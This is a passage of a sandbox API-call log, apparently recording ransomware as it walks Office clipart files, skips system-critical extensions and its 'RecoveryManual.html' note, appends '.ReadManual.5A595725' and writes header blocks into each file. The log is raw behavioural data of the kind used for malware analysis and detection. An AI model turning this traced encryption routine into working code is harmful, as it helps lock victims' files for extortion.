(lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf")) returned 0x20 [0268.494] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.495] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7180) returned 1 [0268.495] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c0c, lpName=0x0) returned 0x184 [0268.495] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.495] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.495] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.497] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.501] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1c0c) returned 0x2f0000 [0268.501] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.501] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38916988680) returned 1 [0268.501] CloseHandle (hObject=0x184) returned 1 [0268.501] SetSecurityInfo () returned 0x57 [0268.501] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.501] CloseHandle (hObject=0x194) returned 1 [0268.501] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0200183.WMF", cAlternateFileName="")) returned 1 [0268.501] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0200183.WMF" | out: lpString1="J0200183.WMF") returned="J0200183.WMF" [0268.502] lstrcmpiW (lpString1="J0200183.WMF", lpString2="RecoveryManual.html") returned -1 [0268.502] StrStrIW (lpFirst="J0200183.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.502] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.502] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.502] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.502] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.502] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.502] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.502] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.502] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.502] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.502] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.502] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.502] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.502] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.502] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.502] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF" [0268.502] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF.ReadManual.5A595725" [0268.502] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF.ReadManual.5A595725") returned 87 [0268.502] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38917088079) returned 1 [0268.502] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf")) returned 0x20 [0268.502] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.503] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5312) returned 1 [0268.503] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14c0, lpName=0x0) returned 0x184 [0268.503] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.503] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.504] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.555] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.555] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14c0) returned 0x2f0000 [0268.555] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.555] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38922388599) returned 1 [0268.555] CloseHandle (hObject=0x184) returned 1 [0268.555] SetSecurityInfo () returned 0x57 [0268.555] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.555] CloseHandle (hObject=0x194) returned 1 [0268.555] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f7c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0200189.WMF", cAlternateFileName="")) returned 1 [0268.556] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0200189.WMF" | out: lpString1="J0200189.WMF") returned="J0200189.WMF" [0268.556] lstrcmpiW (lpString1="J0200189.WMF", lpString2="RecoveryManual.html") returned -1 [0268.556] StrStrIW (lpFirst="J0200189.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.556] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.556] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.556] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.556] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.556] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.556] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.556] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.556] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.556] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.556] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.556] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.556] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.556] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.556] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.556] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF" [0268.556] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF.ReadManual.5A595725" [0268.556] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF.ReadManual.5A595725") returned 87 [0268.556] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38922492500) returned 1 [0268.556] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf")) returned 0x20 [0268.556] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.557] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8060) returned 1 [0268.557] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f7c, lpName=0x0) returned 0x184 [0268.557] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.558] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.558] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.560] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.561] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1f7c) returned 0x2f0000 [0268.561] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.561] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38922957236) returned 1 [0268.561] CloseHandle (hObject=0x184) returned 1 [0268.561] SetSecurityInfo () returned 0x57 [0268.561] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.561] CloseHandle (hObject=0x194) returned 1 [0268.561] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65cc000, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa65cc000, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0x7a46, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0200273.WMF", cAlternateFileName="")) returned 1 [0268.561] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0200273.WMF" | out: lpString1="J0200273.WMF") returned="J0200273.WMF" [0268.561] lstrcmpiW (lpString1="J0200273.WMF", lpString2="RecoveryManual.html") returned -1 [0268.561] StrStrIW (lpFirst="J0200273.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.561] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.561] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.561] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.561] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.561] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.561] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.561] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.561] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.562] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.562] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.562] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.562] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.562] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.562] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.562] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF" [0268.562] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF.ReadManual.5A595725" [0268.562] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF.ReadManual.5A595725") returned 87 [0268.562] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38923057121) returned 1 [0268.562] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf")) returned 0x20 [0268.562] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.562] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=31302) returned 1 [0268.562] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7a46, lpName=0x0) returned 0x184 [0268.562] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.563] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.563] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.565] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.565] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7a46) returned 0x2f0000 [0268.566] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.566] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38923460876) returned 1 [0268.566] CloseHandle (hObject=0x184) returned 1 [0268.566] SetSecurityInfo () returned 0x57 [0268.566] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.566] CloseHandle (hObject=0x194) returned 1 [0268.566] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9f04700, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9f04700, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0x4c0a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0200279.WMF", cAlternateFileName="")) returned 1 [0268.566] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0200279.WMF" | out: lpString1="J0200279.WMF") returned="J0200279.WMF" [0268.566] lstrcmpiW (lpString1="J0200279.WMF", lpString2="RecoveryManual.html") returned -1 [0268.566] StrStrIW (lpFirst="J0200279.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.566] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.566] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.566] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.566] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.566] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.566] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.566] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.567] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.567] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.567] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.567] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.567] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.567] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.567] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.567] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF" [0268.567] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF.ReadManual.5A595725" [0268.567] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF.ReadManual.5A595725") returned 87 [0268.567] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38923558602) returned 1 [0268.567] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf")) returned 0x20 [0268.567] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.567] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=19466) returned 1 [0268.567] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4c0a, lpName=0x0) returned 0x184 [0268.568] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.568] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.568] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.570] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.570] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4c0a) returned 0x2f0000 [0268.571] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.571] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38923943521) returned 1 [0268.571] CloseHandle (hObject=0x184) returned 1 [0268.571] SetSecurityInfo () returned 0x57 [0268.571] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.571] CloseHandle (hObject=0x194) returned 1 [0268.571] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb379af00, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb379af00, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0xa0b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0200289.WMF", cAlternateFileName="")) returned 1 [0268.571] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0200289.WMF" | out: lpString1="J0200289.WMF") returned="J0200289.WMF" [0268.571] lstrcmpiW (lpString1="J0200289.WMF", lpString2="RecoveryManual.html") returned -1 [0268.571] StrStrIW (lpFirst="J0200289.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.571] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.571] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.571] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.571] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.571] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.571] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.571] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.571] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.571] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.571] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.571] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.571] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.571] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.572] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.572] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF" [0268.572] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF.ReadManual.5A595725" [0268.572] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF.ReadManual.5A595725") returned 87 [0268.572] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38924041065) returned 1 [0268.572] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf")) returned 0x20 [0268.572] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.572] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=41136) returned 1 [0268.572] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa0b0, lpName=0x0) returned 0x184 [0268.572] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.573] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.573] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.575] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.575] MapViewOfFile (hFileMappingObject=0x184, 